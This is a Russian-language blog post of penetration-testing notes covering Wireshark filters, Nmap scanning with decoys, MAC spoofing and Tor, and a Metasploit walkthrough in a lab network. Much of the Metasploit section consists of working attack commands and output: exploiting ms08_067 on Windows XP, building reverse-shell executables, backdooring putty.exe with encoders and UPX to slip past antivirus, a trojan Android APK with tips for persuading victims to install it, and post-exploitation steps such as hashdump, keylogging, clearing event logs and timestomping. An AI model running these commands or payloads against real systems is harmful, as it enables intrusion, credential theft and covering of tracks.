вторник, 20 ноября 2012 г.

Фильтры для Wireshark


по IP адресу ip.addr:
ip.addr == 10.0.0.1
или по двум (просмотреть что эти узлы пересылали между собой):
ip.addr==10.0.0.1 && ip.addr==10.0.0.2
по mac адресу, или по определенным его байтам ([начало:длинна], например код производителя)
eth.addr или wlan.addr для трафика беспроводной сети:
eth.addr == 08:00:27:4D:8F:72
eth.addr[0:3]==00:06:5B

по протоколу (здесь по двум, либо один либо другой)^
http or dns
по порту (tcp.port или udp.port):
tcp.port==4000
по специфике работы протокола. Например, по HTTP запросам (GET):
http.request
по содержимому contains, по тексту. Показать все TCP пакеты, что содержат слово ‘traffic’. Удобно для поиска определенного текста или идентификатора:
tcp contains traffic 
http constains password
 по содержимому, по 16-му значению:
udp contains 33:27:58
содержимое по регулярному выражению
протокол matches регулярное_выражение
по протоколам. Отфильтровать лишние ! (например arp, icmp и dns) протоколы, чтобы сконцентрироваться на остальных:
!(arp or icmp or dns)

Ссылки

Youtube: семнинар «Специалист» по Wireshark
wireshark wiki: DisplayFilters

Nmap

Nmap

Сравнительное быстрое (благодаря ключам -nF)  сканирование локальной сети с маской 255.255.255.0:

nmap -nF 192.168.0.0/24 


Сканирование сети  

Основные опции сканирования начинаются с -s.
По-умолчанию nmap практикует скрытое сканирование (-sS) сети, не создавая соединений до конца: nmap  <маска подсети>.
Например:
nmap 192.168.0.1-254


Пинг-сканирование (-sP), в этом режиме порты не сканируются, что, конечно, заметно увеличивает скорость работы:

  
При этом сканировании отправляеться ICMP эхо-запрос, такой же как это делает утилита ping.
Однако пинг сканирование может привети и к ложноотрицательному срабатыванию, когда активнй, хост настроен не отвечать на ICMP эхо-запросы. Здесь логично использовать ключ -Pn,  считаz все хосты активными.

Два следующих ключа, также призванны сократить время сканирования: -n не производить разрешение DNS имен. Преобразование DNS может быть медленным;
-F быстрое сканирование, ограничивает число сканируемых портов с 1000 до 100;
-sS TCP SYN сканирование или т.н. полуоткрытое сканирование ибо оно не устанавливает полных соединений [wiki:TCP], посылая только запросы на открытие и не производя больше никаких операций. В отличии от -sT. используется по-умолчанию;
-sA TCP ACK сканирование [wiki:TCP], позволяет определить, фильтруются ли порты;
-sU сканирование UDP портов.

маска подсети 

Следующие три формата записи идентичны:
192.168.1.0/24
192.168.1.0-255
192.168.1.*
Если адресов немного, то их можно перечислить: 192.168.1.1,2,3,4

сканирование хоста

-sV определение сервисов;
-p порт1, порт2, ... - сканирование заданного порта или их писка
-p- сканирование всех портов;
-O определение операционной системы [os detection].
Если не удаётся точно определить ОС можно просмотреть список вероятных версий операционных использую ключ --osscan-guess:
Aggressive OS guesses: Linux 3.5 (99%), Cisco SRP 527 WAP (Linux 2.6) (99%), Linux 2.6.9 - 2.6.30 (97%), Tomato 1.28 (Linux 2.6.22) (97%), DD-WRT v24-sp2 (Linux 2.6.24) (97%), Linux 2.6.18 - 2.6.32 (96%), Linux 2.6.9 - 2.6.19 (96%), Belkin N600 DB WAP (96%), Ubiquiti AirMax NanoStation WAP (Linux 2.6) (95%), Linux 2.6.15 (likely TP-Link WAP) (95%)
-A позволяет использовать расширенные возможности программы по детектированию ОС (-O), определению версии (-sV) и др.

Настройки времени и производительности
-T - устанавливает шаблон настроек управления временем:
0 \ paranoid(параноидальный) | 1 \ sneaky(хитрый)| 2 \ polite(вежливый)| 3 \ normal(обычный)| 4 \ aggressive(агрессивный)| 5 \ insane(безумный).
По умолчанию используется режим T3, в пароноидельном режиме nmap сканирует по одному порту совершая один запрос раз в 5 минут. Такие настройки не создают заметного трафика в сети, но это сильно замедляет сканирование. С настройками T1 и T2 запросы отправляются с интервалом в 15 и 0.4 секунды соответственно. Если сеть имеет высокую пропускную способность то использование режимов T4 и T5 вполне опраадано.

IdleSan (-sI)
Сканирование посредством зомби-хоста: отправить поддельный пакет от чужого имени (зомби-хоста), и проверить пришёл ли ответ на этот зомби-хост сравнив его значение счётчика пакетов с заранее измеренным.
Хороший способ скрыть адрес сканера и возможность избежать фильтрацию пакетов по IP адресам, посылая пакеты от имени доверенного хоста. Однако, трафик на последнем должен быть довольно маленьким или отсутствовать, дабы корректно отслеживать ответы сканируемой машины.
https://bozza.ru/art-11.html

Примеры


nmap -n -F -A 192.168.56.101. example

Шесть состояний портов распознаваемых Nmap [подробнее]

открыт (open) Приложение принимает запросы на TCP соединение или UDP пакеты на этот порт. 
закрыт (closed) Закрытый порт доступен (он принимает и отвечает на запросы Nmap), но не используется каким-либо приложение.
фильтруется (filtered) Nmap не может определить, открыт ли порт, т.к. фильтрация пакетов не позволяет достичь запросам Nmap этого порта. 
не фильтруется (unfiltered) Это состояние означает, что порт доступен, но Nmap не может определить открыт он или закрыт. 
открыт|фильтруется (open|filtered) Nmap характеризует порт таким состоянием, когда не может определить открыт порт или фильтруется. 
закрыт|фильтруется (closed|filtered) Это состояние используется, когда Nmap не может определить закрыт порт или фильтруется. Используется только при сканировании IP ID idle типа.

Сохранение результатов сканирования [подробнее]

основные опции вывода начинается с -o
Сохранение результатов сканирования в XML и копирование стандартного вывода в файл.
-oX myscan.xml -oN myscan.nmap
-oA <базовое_имя_файла> использовать все (gmap, xml, normal) форматы вывода. 
Формат вывода gmap является своеобразной альтернативой выводу в XML и проигрывает последнему по мощности.
--webxml загружает таблицу стилей с Nmap.Org чтобы создать XML файл отображаемый как HTML
-v увеличивает уровень вербальности (количество выводимой информации), например показывает приблизительное время завершения работы. Ещё увеличить число подробностей можно задав этот параметр дважды.

Алсо 
В Mtasploit Framework есть db_nmap, который взаимодействует со встроенной в MSF БД, записывая обнаруженные хосты и сервисы соответственно в таблицы hosts и services.
Кроме того можно используя команду db_import report_file загрузить отчёт nmap'а в формате XML в БД MSF [link].

Поддельные адреса сканераподробнее
-D <ip1>,[ipN] - маскирует реальный адрес сканера, среди нескольких поддельных. В примере, адрес сканера - 192.168.56.1, адрес-приманка - 192.168.56.100. Вывод снифера показывает, что сканирование происходит с этих двух адресов, однако сканер находится только на первом.
nmap -p 23 192.168.56.101 -D 192.168.56.100
--randomize-hosts сканирование заданного диапазона хостов в произвольном порядке.
Порядок сканирования портов по-умолчанию в nmap случайный, за исключением некоторых популярных портов, которые сканер проверяет в первую очередь. Ключ -r включает упорядоченное сканирование.

Подделка mac адреса
--spoof-mac <0 (случайный), mac (001122334455) или производитель (Apple, Cisco)>

***
Сканирование через Tor
Применяем proxychains для перенаправления трафика через сеть Tor.
Проследим, чтобы в разделе ProxyList конфигурационного файла /etc/proxychains.conf proxychains был указан порт tor'а:
socks4  127.0.0.1 9050
Запустим tor и приступим к сканированию.
SYN сканирвание в таких условиях не работает, поэтому для каждого порта подключение выполняться полностью (-sT). Цель не пингуем (-PN) и не производим DNS разрешения (-n) чтобы не создавать трафика идущего мимо Tor. Cканирование довольно медленное, поэтому сканируем только самые популярныйе порты (-F)
proxychains nmap -PN -n -sT -F 45.33.32.156
ProxyChains-3.1 (http://proxychains.sf.net)

Starting Nmap 6.40 ( http://nmap.org ) at 2041-12-01 12:57
|S-chain|-<>-127.0.0.1:9050-<><>-45.33.32.156:1723-<--denied
|S-chain|-<>-127.0.0.1:9050-<><>-45.33.32.156:53-<--denied

...
|S-chain|-<>-127.0.0.1:9050-<><>-45.33.32.156:22-<><>-OK
|S-chain|-<>-127.0.0.1:9050-<><>-45.33.32.156:587-<--denied
|S-chain|-<>-127.0.0.1:9050-<><>-45.33.32.156:113-<--denied
|S-chain|-<>-127.0.0.1:9050-<><>-45.33.32.156:80-<><>-OK

...
Nmap scan report for scanme.nmap.org (45.33.32.156)
Host is up (0.60s latency).
Not shown: 98 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 102.05 seconds


Pen Testing Through the Tor Network
Anonymous port scanning using proxychains and tor
 
***
Hping - генератор TCP/UDP пакетов, который показывает так же подробную информацию и о полученных данных. Последняя версия - hping3. описание.
***
EtherApe - инструмент для мониторинга трафика, с помощью которого можно наглягдно отследить интенсивность трафика между узлами, к примеру наблюдая за сканированием nmap.
EtherApe screenshot

Ссылки

Сводка опций
Документация на официальном сайте
Описание программы и опций
nmap wikibook
nmap. некоторые примеры 
10 полезных возможностей nmap 
Алсо
Сбор информации и сканирование 

Metasploit Framework

В настоящее время (сентябрь 2015) свободно доступна версия Metasplot Framework Community. Часть функционала которой (например обновления) доступны только после регистрации, ключ высылаеться на email спустя пару (или больше) дней.

msfconsole

Кроме msfconsole фреймворк Metasploit обладает двумя рабочими окружениями: msfcli и msfweb - консоль и веб интерфейс соответственно. Здесь буде рассмотрен только перый.
 

 
















Сбор информации

MSF позволяет импортировать отчёты сгенерированые программами nmap, nessus, Accunetics и др. в свою БД.
Отчёты nmap должны быть в формате XML (ключ -oX):
nmap 192.168.56.1/24 -oX scan_result
Импорт в MSF:
db_import ~/scan_result
Вместо импорта результатов, можно воспользоватся плагином nmap - db_nmap прямо из окружения msfconsole:
db_nmap -nF 192.168.56.0/24
Результаты сканирования сразу попадут в БД, в таблицы hosts и services.
msf > hosts
Hosts
=====
address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- --------
192.168.56.1 Unknown device
192.168.56.10 Unknown device

msf > services
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
192.168.56.1 22 tcp ssh open
192.168.56.1 139 tcp netbios-ssn open
192.168.56.1 445 tcp microsoft-ds open
192.168.56.1 8200 tcp trivnet1 open
192.168.56.10 135 tcp msrpc open
192.168.56.10 139 tcp netbios-ssn open
192.168.56.10 1031 tcp iad2 open
192.168.56.10 5800 tcp vnc-http open
192.168.56.10 5900 tcp vnc open

Экспортировать таблицы в cvs формате можно используя ключ -o
msf > services  -o msf-services
[*] Wrote services to /home/username/msf-services

 

Проникновение

help, command -h

show exploits
search <что-ищем>
  search platform:windows type:exploit port:445
     search -h для большей информации 

info <эксплойт>

use <эксплойт> - загрузить окружение эксплойта (подготовить к использованию эксплойт)
use exploit/windows/dcerpc/ms03_026_dcom
use exploit/windows/smb/ms08_067_netapi
back
show options - показать набор опций (переменных окружения) эксплойта payload`а
set <переменная окружения> <значение> установить значение переменной окружения
 переменные окружения:
     LHOST, RHOST, LPORT, RPORT - локальный\удалённый хост, порт
     PAYLOAD  - нагрузка эксплойта
 set PAYLOAD windows/meterpreter/reverse_tcp
show payloads - показать список нагрузок (payloads). если загружено окружение эксплойта, то будут показаны только подходящие для него.
check - проверка: удалённый хост достуен для выполнения на ней эксплойта? Эта опция имеется не для всех эксплойтов.
exploit - запустить эксплойт.

Пример

IP локального хоста - LHOST - 192.168.56.101;
IP удалённого хоста - RHOST - 192.168.56.103.
На удалённом компьютере запущена Windows XP SP2.
search platform:windows type:exploit app:server
use exploit/windows/dcerpc/ms03_026_dcom
use exploit/windows/smb/ms08_067_netapi
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.56.101
set RHOST 192.168.56.103
check
exploit

[*] Started reverse handler on 192.168.56.1:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 2 - lang:Russian
[*] Selected Target: Windows XP SP2 Russian (NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (769536 bytes) to 192.168.56.10
[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.10:1043) at 2013-07-31 16:09:52 +0300
sessions - просмотреть открытые соединения MSF; ключ -i n  - переключиться на сессию номер n
Номер созданной сессии, в случае успешной атаки и установки соединения, отображается в выводе команды exploit (см. выше).

 

Client side attacks

upd.  Версии MSF выпущенные после июня 2015 года содержат программу msfvenom заменяющую msfpayload и msfencode 

Создание исполняемого файла из payload (англ.). В этом примере, для проникновения используется подброшенный на компьютер атакуемого исполняемый файл. Будучи запущенным на удалённом хосте, он создаст соединение с хостом атакующего (LHOST=192.168.56.1).
Ключ X, указанный после порта, говорит о том, что вывод будет осуществлён в exe файл.
msfpayload windows/shell_reverse_tcp LHOST=192.168.56.1 LPORT=31337 X > /tmp/1.exe

Backdooring EXE Files. То же самое, однако бекдор дописывается в существующий исполняемый файл (здесь putty.exe).  В этом примере, вместо exe файла msfpayload осуществляет вывод в raw формате (ключ R), ибо сгенерированная программа будет далее подано на вход msfencode, который (-e <используемый кодировщик> -c <число проходов кодировщика>). Исходная программа, однако, будет служить лишь контейнером. Используя ключ -k можно сохранить работоспособность исходной программы (с некоторой долей вероятности), но и поток в котором будет запущен бэкдор завершится, если пользователь закроет эту программу.
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=443 R | msfencode -e x86/shikata_ga_nai -c 3 -t exe -x /var/www/putty.exe -o /var/www/puttyx.exe
Если использовать ключ энкодера -k то, бекдор запустится в отдельном потоке программы
Чтобы использовать msfencoder в конвейере подряд несколько раз необходимо изменить формат вывода программы на -t raw, везде кроме последнего вызова в конвейере.


upx - программа для упаковки исполняемых файлов. Иногда, упаковав исполняемый файл этой программой, удаётся избежать срабатывания антивируса при его проверке.

Троянский apk для андроид (опция R).
msfvenom -p android/meterpreter/reverse_tcp  LHOST=192.168.0.110 LPORT=4444 R > andro.apk
При внедрении apk нужно не только заставить пользователя установить приложение, но и часто убедить в безопасности этих действий. Ведь по умолчанию, андроид не разрешает установку приложений не из play market. Поэтому при устоновке приходится в настройках телефона активировать соответствующую опцию. Последняя, кстати говоря, по умолчанию включается ровно на одну установку.

Приготовления на стороне атакующего. Теперь остаёться запустить msfconsole и приготовится к подключению нашего приложения:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LPORT 9999
set LHOST 192.168.56.1
Как только код в подброшеном файле выполнится, произойдёт подключение и будет запущена сессия meterpreter.

Post exploitation

meterpreter 


Базовая информация о системе
sysinfo
Computer        : QWERTY-PC
OS              : Windows XP (Build 2600, Service Pack 2).
Architecture    : x86
System Language : ru_RU
Meterpreter     : x86/win32
getuid - идентификатор пользователя.

getpid - идентификатор процесса, в пространстве которого запушен сервер.
run get_env
[*] Getting all System and User Variables
Enviroment Variable list
========================
 Name                    Value
 ----                    -----
 APPDATA                 C:\Documents and Settings\qwerty\Application Data
 ComSpec                 C:\WINDOWS\system32\cmd.exe
 FP_NO_HOST_CHECK        NO
 HOMEDRIVE               C:
 HOMEPATH                \Documents and Settings\qwerty
 LOGONSERVER             \\QWERTY-PC
 NUMBER_OF_PROCESSORS    1
 OS                      Windows_NT
 PATHEXT                 .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
 PROCESSOR_ARCHITECTURE  x86
 PROCESSOR_IDENTIFIER    x86 Family 6 Model 37 Stepping 5, GenuineIntel
 PROCESSOR_LEVEL         6
 PROCESSOR_REVISION      2505
 Path                    C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem
 SESSIONNAME             Console
 TEMP                    C:\DOCUME~1\qwerty\LOCALS~1\Temp
 TMP                     C:\DOCUME~1\qwerty\LOCALS~1\Temp
 windir                  C:\WINDOWS
ps - список процессов.
ipconfig - информация о сетевых адапетрах.

route - таблица маршрутизации.

run get_application_list - список установленных приложений.

Installed Applications
======================
 Name                                        Version
 ----                                        -------
 7-Zip 9.20                                 
 Microsoft .NET Framework 2.0               
 Microsoft .NET Framework 2.0                2.0.50727
 Oracle VM VirtualBox Guest Additions 4.1.2  4.1.2.0
***
background - вернутся в окружение MSF, при этом соединение с удалённым хостом не будет разорвано, обратно - session -i n.

hashdump - создает вычленяет из реестра (SAM и SYSTEM фалйы) хэши паролей пользователей системы;  
clearev - затирает все следы вашего пребывания на удаленной машине
screenshot 
keyscan_start, keyscan_stop, keyscan_dump начать\остановить\просмотреть-лог кейлогер в реальном времени.
Обычно для вышеприведённых команд требуется, сменить процесс (например на explorer.exe) в котором запущен поток meterpeter.
migrate PID - перенести сервер (materpreter) в процесс с указным PID

Изменить время создания и изменения файла и посмотреть что получилось:
timestomp some-file.txt -z "12/25/2025 23:59:00"
meterpreter > timestomp boot.ini -v
Modified      : 2025-12-25 23:59:00 +0300
Accessed      : 2025-12-25 23:59:00 +0300
Created       : 2025-12-25 23:59:00 +0300
Entry Modified: 2025-12-25 23:59:00 +0300

Запустить на исполнение mdd_1.3.exe с параметрами -o mem.dd:
execute -f mdd_1.3.exe -a "-o mem.dd"
Запусть консоль windows (H - скрыть процесс, c - создать отдельный канал для взаимодействия):
meterpreter > execute -f cmd.exe -H -c
download <что> <куда> - скачать файл с удалённого хоста
upload
   upload AveSatanas.txt c:\\

reg - взаимодействие с реестром.
scraper, winemun - эти скрипты (запускаются командой run) собирают и копируют на машину атакующего информацию о системе в т.ч. реестр (reg файлы), список пользователей, приложений, сервисов, хэши паролей пользователей.

Файлы, содержащие результаты работы этих скриптов, сохраняются по адресу ~/.msf4/logs/scripts/имя_скрипта/.

Файлы созданные winenum









scraper



P.S. 
если в качестве оболочки используется не meterpreter, а командная строка windows и есть проблемы с кодировкой, можно сменить кодировку на юникод таким образом
chcp 65001
или запустить cmd.exe с параметром
cmd /K chcp 65001

Упорядочивая работу

Для разделения отдельных исследований, отдельных сетей и т.д. удобно пользоваться т.н. workspaces. Каждому рабочему пространству соответсвуют свои таблицы hosts, services, creds, loot.
Просмотреть доступные workspaces:
msf > workspace
lab
vbox-net
* default
Используемое "рабочее пространство" отмечано занком *.
Сменить, добавить, удалить и переименовать workspace соответственно:
workspace lab
workspace -a lab2
workspace -d lab
workspace -r lab.old lab.new

Алсо

  • Railgun - расширение meterpreter, позволяющее вызывать функции из DLL.
  • C помощью Meterpreter можно сделать проброс портов.
  • Также можно использовать машину с запущенным на ней meterpreter'ом для дальнейшего проникновения в сеть (используя локально запущенный msf) уже с сетевого интерфейса это машины - pivoting.
  • Resource Scripts - скрипты, содержащие команды meterpreter или msfconsole.

 

Cсылки 

Metasploit Penetration Testing Cookbook - перевод
SecurityTube Metasploit Framework Expert Community Edition [2012]
Offensive security: Metasploit Unleashed
METASPLOIT The Penetration Tester’s Guide by David Kennedy, Jim O’Gorman, Devon Kearns, and Mati Aharoni, 2011
---
Практический пример работы с Metasploit Framework [2011]
Exploit Windows XP SP3 Using Metasploit (msfconsole) [2012]
Create EXE Backdoor Using Metasploit and Backtrack 5 in 4 simple steps [2011]

Другие фреймворки для пентеста
Social-Engineer Toolkit
BeEF - Browser Exploitation Framework